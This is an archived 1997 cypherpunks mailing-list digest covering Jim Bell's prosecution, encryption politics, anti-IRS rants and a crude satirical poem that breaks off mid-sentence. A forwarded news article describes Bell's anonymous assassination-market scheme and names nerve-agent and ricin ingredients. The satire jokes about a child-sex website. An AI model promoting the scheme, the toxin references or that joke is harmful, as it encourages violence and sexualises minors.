In-Reply-To: <v03102800b08d18c99cbf@[207.167.93.63]>
Message-ID: <19971110200927.24490@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On lun 10 nov  1997 à 01:06:08PM -0700, Tim May wrote:
> 
> Apparently shaking a baby to death is a lesser crime than opposing
> government fascism and having a continuing interest in chemistry.

I just read the judge statement and found it rather good. It seems to me
that he explains quite well the motivations of his decisions and so
on. Now, wether he would have taken time to deeply think about the issue
if the whole thing was taking place in a small american town with a
babysitter from the neighborhood and no big media coverage, we don't
know. It seems that the only thing which can be argued is wether the
final sentence is appropriate or not. I guess the media will provide us
with statistics on "how long you have to stay in prison when you have
been convicted of manslaughter". I would expect a few years. She finally
spent a little bit more than one year. Ok. Still, from what we have seen
of the american justice system in the past few years, I feel like this
is an improvement, where common sense takes over money, racial issues,
politics, etc. Or am I fooled by the media ;-) ?

> The au pair Louise Woodward will serve less time in jail than Jim Bell
> will. While Bell languishes in a Washington state jail, awaiting (for
> almost 7 months!!) his sentence, the convicted babykiller is now free.

As I said, she served some time waiting for her trial, too. Don't you
think you are shooting the wrong target here ? I mean, I certainly agree
that what's happening to Jim Bell seems like a parody of justice (and
you have Mitnick, too, and other examples can be found), but why to make
a comparaison between the two (or, let me rephrase it, as you have
actually all the rights to make a comparaison, it terms of how long did
the procedure take, and so on), why would you say "as the judicial
system is not working with Jim Bell, it shouldn't be working with the
babysitter" ? or explain why you think it would be a fair sentence to
let her in jail for the rest of her life ? (well, ok, at least 15 years
before parole)

                        F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Nov 1997 09:28:19 +0800
To: cypherpunks@toad.com
Subject: More Crypto Statements
Message-ID: <1.5.4.32.19971111011926.00b3f2e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From November 9 Congressional Record:

Rep. Sherman on encryption exports and domestic controls:

   http://jya.com/sher-crypto.txt  (15K)

Rep. Dreier on need for strong encryption to protect national
security:

  http://jya.com/dreier-crypto.txt  (4K)

----------

Declan, anyone, is this flood of statements due to an 
industry campaign, or one by Majortiy Leader Lott, 
or Speaker Gingrich, or a combination, or what?

What's your insider intel, Declan, will these initiatives continue
into the next session or are they just cheap dues paying 
for the moment, while getting ready to sellout when the 
rain of if-you-knew-what-we've-been-briefed shit showers 
down next year?

What's Kerrey, McCain, Solomon counter-campaigning 
with the TLAs?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Nov 1997 10:01:24 +0800
To: Tim May <tcmay@got.net>
Subject: RE: Bell vs. Woodward--justice?
Message-ID: <1.5.4.32.19971111015901.00b8b324@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



There's been movement in Jim Bell's penal situation which is 
being looked into (not by me). Details coming soon.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 11 Nov 1997 13:37:52 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711110513.VAA13432@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



While reading the report of the Presidential on Commission Critical Infrastructure Protection,
the Public Key Infrastructure Study and the draft plans for Internet-2, it is becoming
even more aparent what government schemers plan to do with encryption technology.

Some of the statements literaly call for key escrow/recovery systems and others
imply it extensively when one reads between the lines. They want security on the 
Internet-2 to be like the Berlin Wall.

What amazes me (I guess not, really) is all of the so-called free market corporations
that are in collusion with governent to enable this new Internet Security State. I have
long thought that if government is going to be successful at forcing key recovery onto
the nation in law that it was going to have to have the help of the major corporations
who are looking for the money. It was only one year ago that IBM was lobbying congress
for the contract on the new key escrow system congress was considering and the FBI, et al
were demanding. Never turn your back on the merchantilists.

The IRS, right now, is calling for assistance with their _second_ attempt at revitalising
their archaic networks, mainframes and software. Again, it's the major corporations
rushing in to their aid while looking for those "big dollars". [IRS just spent 4 Billion
a few years back on the very same effort and have virtually nothing to show for it]

Corporate America Saves the IRS. What a headline. Corporate America wants the IRS to be
able to survive to tax us all into oblivion, when what they ought to do is turn their
backs on the IRS, walk away and let them fall in on themselves just like the Soviet Union did.
If we're lucky, around December 31, 1999, the IRS will crash along with their computer systems.

Sparticus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 05:18:33 +0800
To: cypherpunks@toad.com
Subject: test
Message-ID: <199711102055.VAA28518@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




test. after two inexplicable lost messages via replay.com--this test message.

anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Tue, 11 Nov 1997 15:35:28 +0800
To: cypherpunks@Algebra.COM
Subject: Fwd: psychoceramics: Fighting back against the Government
Message-ID: <199711110737.XAA03002@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



This is an interesting spin doctoring of Jim Bell's situation.  I picked
this up off the psychoceramics list.  Why it was there is unclear...

>>From http://www.usnews.com:80/usnews/issue/971117/17weap.htm

>Terrorism's next waveNerve gas and germs are the new weapons of choice
> BY DAVID E. KAPLAN
>
>Jeff Gordon thought he had seen it all. A veteran IRS investigator,
>Gordon's job since 1988 had been to probe threats and assaults against
>his fellow agents. There was no shortage in recent years--stabbings,
>fires, mortar attacks, and big unexploded bombs outside IRS offices in
>Los Angeles and Reno, Nevada. But in the first months of this year,
>Gordon found himself working on the strangest case of his career. From
>an informant, he had learned of a Portland, Ore., man named James Dalton
>Bell. Bell owed some $30,000 in back taxes and served as a juror in a
>local "common law court." Dozens of these self-appointed tribunals have
>issued "fines" and even death sentences against public officials.
>Bell was also active in antigovernment forums on the Internet, where he
>had posted a dark scheme threatening murder of troublesome federal
>agents. Participants could send encrypted messages to each other, Bell
>proposed, offering donations to whoever "predicted" how long a targeted
>official would live. The winner, presumably the assassin, would be
>rewarded with electronic fund transfers from anonymous donors, 
>hesuggested.
>Gordon checked further. Bell, it turned out, was an electronics engineer
>at a nearby circuit board manufacturer. He was also an MIT-educated
>chemist who had been arrested eight years earlier for making
>methamphetamine, but pleaded guilty to a lesser charge. According to
>court records, Bell had once told a friend: "The first thing to remember
>is: Never make a chemist angry at you."
>In February, the IRS docked Bell's wages and seized his 10-year-old car.
>Inside the vehicle, Gordon found instructions for making bombs and
>molotov cocktails. There was also far-right literature, a printout
>listing large amounts of cyanide, and detailed information on
>fertilizer, a key ingredient in the Oklahoma City bomb. But with no
>evidence that Bell had hurt anyone, Gordon could not move.
>A burning stench. Four weeks later, on a Monday morning in March, IRS
>officials encountered a terrible nose-burning stench as they arrived at
>their building in Vancouver, the Portland suburb where Bell lived.
>Investigators traced the smell to a welcome mat dosed with propanethiol.
>The chemical is used by utilities in minuscule concentrations to give
>natural gas its noticeable smell. "It's Bell," Gordon told his boss.
>"I'm sure of it." Bell had attempted twice to buy propanethiol from a
>chemical-supply company in Milwaukee, Gordon then learned. Worried that
>the stink bomb was a trial run for something much worse, on April 1,
>authorities raided Bell's home. They seized five computers and three
>semiautomatic assault rifles, then opened his garage door. Before them
>stood dozens of containers filled with chemicals. There were volatile
>solvents, explosives ingredients, sodium cyanide, nitric acid, and
>diisopropyl fluorophosphate--one of several ingredients that, if
>properly mixed, form nerve gas--all in a residential neighborhood. "The
>level and type of chemicals were extremely unusual," said Leroy
>Loiselle, who managed the cleanup for the Environmental Protection
>Agency. "You don't need nitric acid to keep aphids off your flowers."
>On Bell's computers, Gordon found two other items: the names and home
>addresses of over 100 public officials--IRS employees, FBI agents, local
>police officers--and a 169-page document, The Terrorist's Handbook, with
>detailed instructions for making chemical weapons and high explosives.
>Bell's friends told investigators that he had tried using green beans to
>make botulin toxin, which causes botulism, and that he claimed to have
>successfully made sarin, the nerve gas used by Japanese cultists in
>their 1995 attack on the Tokyo subway.
>Bell was arrested. In July he pleaded guilty to charges of obstruction
>of IRS agents and use of a false Social Security number, and also
>admitted to the stink bomb attack and the cyberassassination scheme. He
>faces up to eight years in prison and $500,000 in fines. Bell declined
>to comment, but he contended earlier that he is merely "a chemical
>hobbyist" and the assassination scheme only an abstract proposal. "I'm a
>talker, not a doer," he said. The IRS's Jeff Gordon remains wary.
>According to court records, after his arrest Bell boasted to a friend
>that police never found his most dangerous chemical weapons. Gordon
>believes they could include a secret stockpile of sarin.
>New generation. Characters like James Dalton Bell are giving federal
>officials fits these days. Bell, they believe, is one of a new
>generation of tinkerers and technicians, of college-educated extremists
>threatening to use biological, chemical, or radiological weapons to
>achieve their goals. Since the Aum cult's Tokyo nerve gas attack, FBI
>officials say the number of credible threats to use these weapons has
>jumped from a handful in 1995, to 20 last year, to twice that number
>this year. Among the incidents was the 1995 mailing of a videotape to
>Disneyland, showing two hands mixing chemicals and a note threatening an
>attack on the theme park. Despite a major investigation, the sender was
>never caught. Just last April someone sent a petri dish labeled anthrax,
>an animal disease deadly to humans, to the B'nai B'rith headquarters in
>Washington, D.C. That proved to be a hoax.
>But other threats appear to be quite real. Four militia members in
>Minnesota were convicted recently of planning to assassinate federal
>agents with a biological toxin. In Ohio in 1995, a white supremacist
>pleaded guilty to wire fraud in illegally obtaining three vials of
>bubonic plague bacteria. Investigators have found biochemical agents in
>the hands of political extremists, extortionists, murderers, and the
>mentally ill. U.S. News has learned that the FBI has 50 current
>investigations of individuals suspected of using or planning to use
>radiological, biological, or chemical agents. Bureau officials say a
>major attack in the United States no longer seems unlikely. "The
>consensus of people in the law enforcement and intelligence communities
>is that it's not a matter of if it's going to happen, it's when," warns
>Robert Blitzer, head of the FBI's terrorism section. "We are 
>veryconcerned."
>To prepare, federal agencies have scrambled to set up new
>counterterrorism strike forces (story, Page 32). Behind all this is the
>very real fear that the world has entered a new stage in terrorism.
>Widespread technical education and high-tech communications have vastly
>increased the number of people with knowledge of how to synthesize
>chemicals and culture bacteria. Books and videos on creating these
>substances--and turning them into weapons--are now available on the
>Internet, at gun shows and survivalist fairs, and through the mail.
>While its effects would be the most destructive, a nuclear incident is
>actually the least likely scenario, according to security experts. More
>likely, they say, would be a biological weapon attack; a chemical attack
>is the next likely possibility. The impact could range from the
>poisoning of an individual to sophisticated attempts at mass murder. So
>far, the majority have been limited efforts by loners or small groups.
>Most worrisome to officials is the possible involvement of more
>established, state-sponsored terrorist organizations--such as
>Hezbollah--with international reach.
>While the number of terrorist attacks, both in the United States and
>abroad, has gone down since the end of the cold war, there is a flip
>side. Individual acts themselves have grown more deadly, as illustrated
>by the Oklahoma City and World Trade Center bombings. In its annual
>terrorism report issued last April, the State Department sees a trend
>"toward more ruthless attacks on mass civilian targets" and the use of
>more powerful weapons.
>Threshold crossed. Until this decade, biological and chemical weapons
>were the province of superpowers or renegade states like Iraq and North
>Korea. But all that changed with Aum Supreme Truth, an obscure sect of
>New Age fanatics based at the foot of Mount Fuji, 70 miles outside
>Tokyo. Recent court testimony from sect members shows how the cult's
>young scientists produced not only anthrax and botulin toxin but also
>various nerve agents, including the sarin used on Tokyo's subway. Later
>attacks were planned for New York and Washington, D.C.
>Still, it is one thing to produce deadly agents and another to use them
>effectively. Aum's attack killed only 12 people of the thousands in the
>subway system, and on seven other occasions, attempted Aum attacks were
>dogged by equipment failures and human error. "Trying to produce 100,000
>casualties is much more difficult than is often stated," observes
>Jonathan Tucker of the Monterey Institute of International Studies.
>Tucker notes that problems abound with delivery systems, meteorological
>conditions, and the agents themselves. Still, he warns that even crude
>weapons can easily cause mass disruption. Aum's nerve gas, for example,
>was full of impurities, yet it sent thousands to the hospital.
>What worries police is growing evidence that others share similar
>ambitions. In 1993, two years before the Aum attack, Canadian border
>agents stopped an American electrician named Thomas Lavy and searched
>his car. They found four guns, 20,000 rounds of ammunition, 13 pounds of
>gunpowder, neo-Nazi literature, and $80,000 in cash. Lavy also had
>recipes for biological and chemical weapons and a plastic bag filled
>with white powder. Had the agents opened the bag, they likely would have
>died of respiratory failure and paralysis. Tests showed the substance to
>be ricin, a lethal toxin extracted from the castor bean plant. (Ricin,
>dabbed on a tiny pellet fired from an umbrella-gun, was used by Soviet
>agents to murder a Bulgarian in London in 1978.) The poison is 6,000
>times more toxic than cyanide, and there is no antidote. Lavy had a
>quarter pound of the stuff.
>In 1995, a man named Larry Wayne Harris was arrested after he obtained
>vials of the bacteria that cause bubonic plague (Page 28). Harris is an
>Ohio microbiologist and recent member of the white supremacist Aryan
>Nations. He says his friends will strike at government officials with
>biochemical weapons, if provoked. "If they arrest a bunch of our guys,
>they get a test tube in the mail," he told U.S. News. And, he says, far
>worse could come. "How many cities are you willing to lose before you
>back off?" he asks. "At what point do you say: `If these guys want to go
>off to the Northwest and have five states declared to be their own free
>and independent country, let them do it'?" Authorities take Harris's
>comments seriously.
>The recipes for such poison cocktails are available from underground
>publishers and on the Internet. One popularizer is an Arkansan named
>Kurt Saxon. Through books and videotapes, Saxon has been putting out
>ricin recipes for at least nine years. Convinced that the U.S. will be
>invaded and that the federal government can't be trusted to defend the
>country, he has fashioned various homemade explosives and poisons,
>including cyanide grenades and ricin applicators. In one segment of a
>$19.95 video, Saxon performs like a sinister Julia Child, blending salt
>water and solvents with castor beans. ("Pour in about 4 ounces of
>acetone," he says, "and shake it up nice.") "Uncle Fester," another
>near-legendary figure in the chem-bio underground, has authored such
>family classics as Silent Death, Improvised Explosives, and a guide to
>methamphetamine and LSD manufacture. Fester claims degrees in chemistry
>and biology, and his Silent Death describes how to produce poison gas,
>botulin and shellfish toxins, and ricin.
>Similarly, entire manuals for making homemade explosives--TNT, plastic,
>napalm--can be downloaded from the Net, as well as plans for building
>triggers, fuses, and timers. At least 11 online vendors offer books with
>recipes on biological or chemical weapons, including Silent Death and
>Kurt Saxon's The Poor Man's James Bond. All are based in the United
>States. Adding to the problem, many of the chemicals used to make nerve
>gas and other agents have perfectly legitimate uses and are readily
>available. "The genie has always been out of the bottle," says one
>intelligence analyst. "People are just discovering it."
>The genie is also loose in the Middle East. According to intelligence
>sources, notebooks and computer files recently seized from Hezbollah,
>the Iranian-backed Islamic militia, contain information on how to
>produce chemical agents. Hezbollah has also taken delivery of protective
>gear, including gas masks and bodysuits, and obtained Katyusha rockets
>able to deliver chemical warheads to Israel from their base in Lebanon.
>Hezbollah's interests are shared by at least one other Islamic
>terrorist, Ramzi Yusef, a trained engineer and reputed mastermind of the
>1993 World Trade Center bombing. Yusef's organization researched making
>sarin and reportedly planned to assassinate President Clinton in the
>Philippines with phosgene gas. The trade center bombers also packed
>cyanide into the charge that rocked the building; the chemical
>apparently evaporated in the explosion.
>Some analysts believe there have been other, unnoticed, attacks in the
>United States. "It's almost certain there have been uses of biological
>agents that have gone undetected," says Seth Carus, a proliferation
>expert at the National Defense University. "Most cases are known because
>they came to the attention of law enforcement through informants, not
>because of medical authorities." Health officials, for example, were
>mystified by a mass outbreak of salmonella poisoning in Oregon in 1984.
>The cause--an attack by a nearby religious sect--went undetected until
>the cult's demise a year later.
>Exotic poisons are attracting not only terrorists but also murderers and
>extortionists. Several recent trials have featured ricin as a murder
>weapon. Product tamperers, too, are increasingly turning to biological
>agents. Says Lori Ericson of Kroll Information Services: "We're seeing
>E. coli, cholera, salmonella, HIV." In one British case, microbiologist
>Michael Just threatened to contaminate the products of five food
>companies with dysentery-causing bacteria. To make his point, he sent
>the firms test tubes filled with the pathogen.
>Society can likely tolerate the occasional murderer or extortionist
>wielding biological or chemical weapons. The greater challenge
>undoubtedly will come from those with broader grievances, from
>terrorists steeped in extremism and political hatred. Perhaps scariest
>of all are the criminally insane, who may bring technical ability, but
>little judgment, to their homemade laboratories. Last April, authorities
>raided the house of one Thomas Leahy in Janesville, Wis. Leahy, who
>takes medication for schizophrenia, was obsessed with creating "killer
>viruses" to stop his enemies, both real and imagined, according to
>police. He pleaded guilty to possessing ricin, but a search of his home
>also found animal viruses and vaccines, staph bacteria culture,
>fungicides, insecticides, hypodermic needles, and gas masks. As Leahy
>reportedly told his wife, you can "never have too many poisons."
> With Douglas Pasternak and Gordon Witkin
>***********************************************************************
>BIOWAR-L Biowar/Bioterrorism/Toxins Mailing List
>To unsubscribe or subscribe: send a message to majordomo@lists.sonic.net
>with the following text: unsubscribe biowar-l or subscribe biowar-l 
>(letter
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com 
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 11 Nov 1997 15:26:27 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re:
Message-ID: <3.0.32.19971110232351.0068a10c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Sparticus wrote:

>Corporate America Saves the IRS. What a headline. Corporate America wants
the IRS to be
>able to survive to tax us all into oblivion, when what they ought to do is
turn their
>backs on the IRS, walk away and let them fall in on themselves just like
the Soviet Union did.
>If we're lucky, around December 31, 1999, the IRS will crash along with
their computer systems.
..............................................

And a lot of those corporations are probably highly Democrat-ic.
Something I've not yet understood is how some very successful companies and
individuals (like very wealthy entertainters) can be so supportive of the
likes of Clinton and the whole Democrat-ic welfare/taxation agenda (this is
not to say that Republicans are much better in their ideology, but only
outright, declared Socialists are worse).

I mean, these people may be able to write off a lot of business expenses
and so receive those types of benefits, but they will support regulations
which make it difficult for the non-business owning individual to keep much
of what the income they make or to become employed in their own small,
unlicensed occupations.

What could they be thinking?   Or maybe that's the deal -  they expect that
they themselves won't suffer too much economically, because they know how
to get the advantages of the regulations which they support, but being
control freaks they want to be in the position to "help" everyone else, and
regulations provides them with the image of "benefactors".

Still, anyone who "gets the advantage" of tax deductions for whatever
itemizing they can do on business deals is nevertheless required to answer
for their every move, their every economic decision, to the Higher
Authority of the IRS.  This is dumb, and demoralizing.  To me, anyway; it
appears that people like them don't care all that much about personal
sovereignty as long as they get to lord over others in the meantime.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 07:00:27 +0800
To: cypherpunks@toad.com
Subject: Gun Control brings on a new arms race
Message-ID: <199711102250.XAA13694@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





Tim May wrote:
At the San Francisco Gun Show this past weekend, I watched with great
amusement as the San Mateo County Sheriff's Office deputies and Brisbane
Police stared in apparent horror as citizen-units loaded up on
high-capacity mags, armor-piercing ammo, Class III body armor, and on and
on. The cops are stationed at the door, ostensibly to spot gross violations
of the law, such as carry of loaded weapons. The cops asked me if I was
carrying guns into the show to sell...I just shrugged. Without a warrant,
they were helpless to do more than just ask. It was a gas.


Gee, sounds like Christmas. Christmas starts earlier every year.

Sparticus
       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 11 Nov 1997 07:32:02 +0800
To: cypherpunks@toad.com
Subject: State of the Nation [-]
Message-ID: <199711102317.AAA18283@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

- -----BEGIN TERRORIST PLAINTEXT MUNITION MESSAGE-----
Version: 6.66
			State of the Nation
			by Jo Min Ivan

See Johnny run.
See Spot run.
See Spot the friendly wolf-hybrid bite Johnny in the ass.

Johnny can't read.
Johnny Kant spel too good neither.
Johnny is graded on a curve.
See Johnny get an 'A' on his next test.

Johnny works for minimum wage at Wall-Dart.
Most of Johnny's customers use their credit cards to go into even more debt.
See Johnny give incorrect change when someone payz with cash.
Johnny Kant Kount.

Read Johnny's employer's policy of giving discounts to debit card customers.
See the airport security body scanner at the front door of the store.
See the security camera in the dressing rooms.
Johnny feels very very safe.

Johnny feels goatees are cool.
Johnny feels that Trent and Kurdt are GOD.
Johnny is sooooo alternative.

Johnny has an AOL account.
Johnny feels nipple rings are passe.
Johnny wants to pierce his tooth with a power drill.

Johnny attends public school.
Johnny feels good about himself.
Johnny wants to work for the government when he growz up.
Johnny hearz it ain't too hard to get a job with guvmint.

Johnny is functionally illiterate, apathetic, and proud of it.
Johnny doesn't know the Bill of Rights from a Bill of Goods.
Johnny's teacher works for the government.
Johnny's teacher votes for higher taxes.
Johnny's teacher thinks the Declaration of Independence 
	is really an Entitlement to Dependence.

Hear Johnny's teacher complain about pornographers during her cigarette
	break.
See Johnny point his browser in the library to 
	WWW.BARELY14_CYBERSLUT_LUST.NL.CUM
Johnny kant unnerstan what he reedz.
Johnny knowz what consolez are.
Johnny knows how to get around NetGranny.

See Johnny's teacher's Ben-Her balls fall out of her purse in the cafeteria.
See Johnny's classmate put a fresh tape in the hidden video camera in his 
	teacher's bedroom. 
Johnny's teacher is dropping her kids off at soccer practice.
Johnny's teacher puts naughty things into her mouth when her children are at 
	soccer practice.

See Johnny's coins fall out of his pocket when he hops into the minivan.
Johnny feels carrying cash and coins is a nuisance.
Johnny doesn't know $1,000 Federal Reserve Notes were ever printed.
See Johnny carry a dozen credit cards in his pocket.
Johnny doesn't know FRN's were ever backed with anything other than empty
	promises and more debt.
See Johnny's digitized picture on his SmartCard.
Johnny doesn't know guvmint's promise to redeem FRN's with lawful money
	was nothing more than an empty lie.

Johnny feels only drug dealers carry $100 bills.
By Johnny's logic all of his ancestors were drug dealers.
All of his ancestors should be dug up and thrown in jail where they 
	belong; laws should be applied retroactively, don't you know.
Johnny has never bought a rifle with a 1000 Franc note.
Johnny has never bought a rifle.
Johnny has never seen a silver dollar.

See the ill-tempered bureaucrat at DMV take Johnny's fingerprints.
See Johnny get his retina scanned.
See Johnny apply for his Interstate Access TollCard.
See Johnny's complete life history updated on his SmartCard.
See the convicted pedophile on the state payroll enter Johnny's vital 
	statistics into the DMV database.
See the pedophile cross-reference several hundred guvmint and private sector
	databases to confirm that Johnny is not an illegal alien.
The pedophile is glad, he prefers little white boys to molest when he gets 
	out of jail again for the 3rd time.
Johnny just got his first drivers license.
Johnny is very very happy.

See Johnny crash the family minivan into a tree.
See Johnny's bong tip over.
See Johnny harm the environment. See Johnny contribute to deforestation.
See Johnny traumatized; mommy says he's can't drive again for six months.
See Johnny traumatized; he can't get laid in the back of the minivan for
	six more months.

See Johnny attend a tree-sensitivity group therapy session for traumatized
	youth.
See Johnny promise to be tolerant and compassionate towards all of 
	Mother Earth's creations.
See Johnny pledge to help plug the ozone hole.
See Johnny pledge to help stop global warming.
See Johnny pray to God to please stop El Nino and world hunger.
See Johnny pledge to do his part for sustainable development.
See Johnny pledge to help fight off the coming alien invasion.

Johnny feels empowered.
Johnny feels a sense of unity with the global village.
See Johnny promise never to own an assault weapon.
See Johnny's cousin smuggle black-market CFC's across the Mexican border.

Johnny's teacher tells the class that AIDS-infected crackheads are victims
	of societal neglect.
Johnny's teacher tells the class that teenage girls who have sex with 
	AIDS-infected crackheads in exchange for drugs are victims of 
	societal neglect.
Johnny's teacher feels that lack of sufficient sex education funding is an
	ongoing national crisis.
Johnny wonders if any of the cheerleaders like to take drugs.

See Johnny's teacher hand out strawberry-flavored condoms.
See many of the students complain that they aren't banana-flavored.
See the student body president complain the school is discriminating against
	third-world tropical fruit pickers. A lawsuit is threatened.
See the feminist activist protest the discrimination against lesbians. 
	A hunger strike is threatened.
Johnny's teacher explains the school ran out of dental dams and butt plugs 
	because mean-spirited rich people voted down the tax increase.

Johnny's mommy is afraid of scary-looking black guns.
Johnny's mommy wants the government to prevent her children or anyone else 
	from being able to read	messages written by people using anonymous 
	remailers and other terrorists who own scary-looking black guns.
Johnny feels Nazis who own scary-looking black guns are bad, bad people.
Johnny knows that all people without badges and battering rams who own
	scary-looking black guns are Nazis.
Johnny knows this because expert telejournalists report based on their
	interviews of expert professional fund-raisers that all people who
	own scary-looking black guns are Nazis; so it must be true.

Johnny doesn't know the first thing about proper firearms safety.
Johnny's been taught at school to run away very very fast when he sees a 
	gun and tell a responsible adult right away so that a responsible 
	BATF agent riding in an armored personnel carrier can go 
	confiscate it.
Johnny's idea of field-stripping is taking his girlfriends' bra and panties 
	off on the soccer field.
See Johnny's uncle shoot his friend in the foot while cleaning a
	loaded handgun.

Johnny's congressman wants to pass a law to confiscate any handgun a child
	sees. Studies have shown the image of scary-looking black guns 
	alters a young innocent child's brain development forever and 
	scars them for life.
Based on this study, the editorial board of the Suburba Sun Times urges all
	owners of scary-looking black guns to turn them in in exchange for 
	twenty lottery tickets and a donation of fifty dollars made in the 
	Nazi's name to the National Public Radio pledge drive.
The Suburba Sun Times endorses the congressman's Child Handgun Viewing 
	Prevention Safety Act.
Johnny's congressman's armed security detail is issued brand new 
	scary-looking black guns.

Johnny's dad feels more prisons need to be built for evil drug dealers and 
	money launderers.
Johnny's uncle is an unemployed ex-prison guard.
Johnny's uncle owes Johnny's dad money.
Johnny's dad complains about confiscatory taxes.
Johnny's dad complains about confiscatory child support payments.
Johnny's dad's mistress complains he doesn't buy her enough jewelry.
Johnny's dad blew his paycheck on homemade hidden-camera porno videos.

Johnny hears on the news that people who smoke cigarettes, get cancer and 
	then die are victims of evil tobacco companies.
Hear Johnny's dad tell his buddies pot-smokers should be locked up for life.
See Johnny's dad guzzle beer with his buddies during the football game.
See Johnny's dad get pretty damn drunk.
See Johnny's dad drive up to the 24-7 to buy another case of Schmeister.
Johnny's dad's buddies finished the pizza that arrived before he got back.

See Johnny's dad's buddy's enormous beer-belly.
See it giggle when he walks.
See Johnny's dad's buddy call Pizza Shack to order another one for himself.
See Johnny's dad's buddy drink Diet Choke.
See Johnny's dad's buddy eat potato chips made with an FDA approved fat
	substitute.
How can you see anything with all the cigar and cigarette smoke in the room?
Listen to Johnny's dad's buddy fart up a storm.

Johnny hears the government say that money launderers are very, very bad 
	people.
Johnny feels money launderers must be almost as bad as PGP exporters and
	other terrorists he keeps hearing about.
Johnny doesn't understand what it is exactly that money launderers do, 
	but if the government and the media say it's bad, then it must be 
	very very bad.
Johnny feels it must be even worse than what murderers and child molesters
	and cryptographers do. After all, his uncle says money launderers 
	stay in jail longer than murderers and child molesters, right?
Johnny feels, after all, crackheads and child molesters can't control what 
	they do, but people who keep money hidden away from the government,
	well, that's very, _VERY_ bad.
Johnny feels if there are too many money launderers, he might be forced to 
	have to use SmartCard to buy _his own_ strawberry-flavored condoms.
Johnny feels that would suck.

See Johnny's dad open a letter from his political party asking for
	contributions and investments for our children.
The politician writes to Johnny's dad that if Johnny's dad gives him enough
	investment capital, the politician will be elected, then he can form
	a bipartisan coalition of concerned politicians to finally declare 
	martial law to crack down on money launderers and other terrorists.
The politician says it is Johnny's dad's duty to contribute to the cause.
Johnny's dad writes a check for $999.99 made out to the Republicrat Peoples
	Party of America.
Johnny's dad delivers the check personally to the party office. He ran out 
	of stamps and doesn't like to go to the post office anyway for fear
	of getting shot.
The politician calls his buddy at the IRS.
Johnny's dad's scheduled audit is cancelled.
The check bounces.

The politician deposits the money in his Swiss bank account after routing it
	through multiple dummy corporations via cross-continent swaps and 
	a chain of wire-transfers performed by cut-out surrogates.
Strangely enough, during this time, the FINCEN Transactional Analysis 
	Software was down for maintenance.
So was INTERFIPOL's. How 'bout that?

Johnny's dad picks up the remote and starts to channel-surf. 
Johnny's dad's mistress is watching the Jerry Stringer show. Today's show
	is titled "A Dominatrix needs love too; a servant's Christmas guide
	to buying harnesses, dildos and lubricant for that special someone."

See Johnny's aunt go to the 24-7 to buy lottery tickets.
Johnny's aunt doesn't have a bank account and cashes her government checks 
	at a check cashing service. Johnny's aunt buys several money
	orders to send to distant relatives in the Czech Republic. FINCEN 
	goons suspect she is a money launderer.
Johnny's aunt buys a carton of cigarettes with her food stamps. She gets 
	into her old beater and drives off.
Johnny's aunt has a smile on her face.
At that moment a low-elevation spy satellite is passing over the 24-7.
A bored NSA spook is watching Johnny's aunt, too. He thinks to himself 
	'That Jerry Stringer show was much more interesting than this crap.
	If she's a money launderer, I'm Al Capone.'
Johnny's aunt wants to play bingo at the church fundraiser tonight. The 
	church is a thirty minute drive from the 24-7 if she gets on the 
	interstate. Since she doesn't have a TollCard, or a driver's 
	license for that matter, she decides to take the arterial roads.
Johnny's aunt is feeling very lucky.
She'll review her encrypted forwarded statements from Robber Barron Bank, 
	Grand Cayman branch, afterwards.

See Johnny's mommy stuff her face with cookies and cake.
See Johnny's mommy go to the instant-no-effort weight loss clinic.
See Johnny's mommy watch the nice network news anchor tell her about a new 
	approved breakthrough magic weight loss wonder drug pill.
See the nice multinational pharmaceutical's commercial promoting the 
	revolutionary miracle cure for those victimized by obesity. 
Johnny's mommy thinks, at last, I can stuff my face with all the munchies I 
	wanna eat, and still look thinner than a heroin junkie.
Johnny's mommy rolls her own joints.

See Johnny's sister pick up the remote. She starts to channel surf.
See Johnny's sister watch a breast-implant infomercial.

See Johnny's mommy pop two pen-pen pills.
Johnny's mommy needs heart surgery.
See the extremist doctor invent an effective treatment for pen-pen induced
	heart problems.
See the FDA not approve the treatment.
See the FDA helicopter gunships strafe the extremist terrorist doctor's 
	clinic and confiscate his property.
See Johnny's mommy get liposuction.
Johnny's mommy feels socialized medicine is a right. She is relieved to hear
	the government has dictated that liposuction is covered under her
	health plan since it is approved and not done for cosmetic reasons.

The government doctor that Johnny has a license to receive treatment from 
	has some very very disturbing news. While the super-duper-penicillin
	will probably kill off the super-penicillin resistant strain of
	syphilis he's picked up, there is an eight month waiting list for
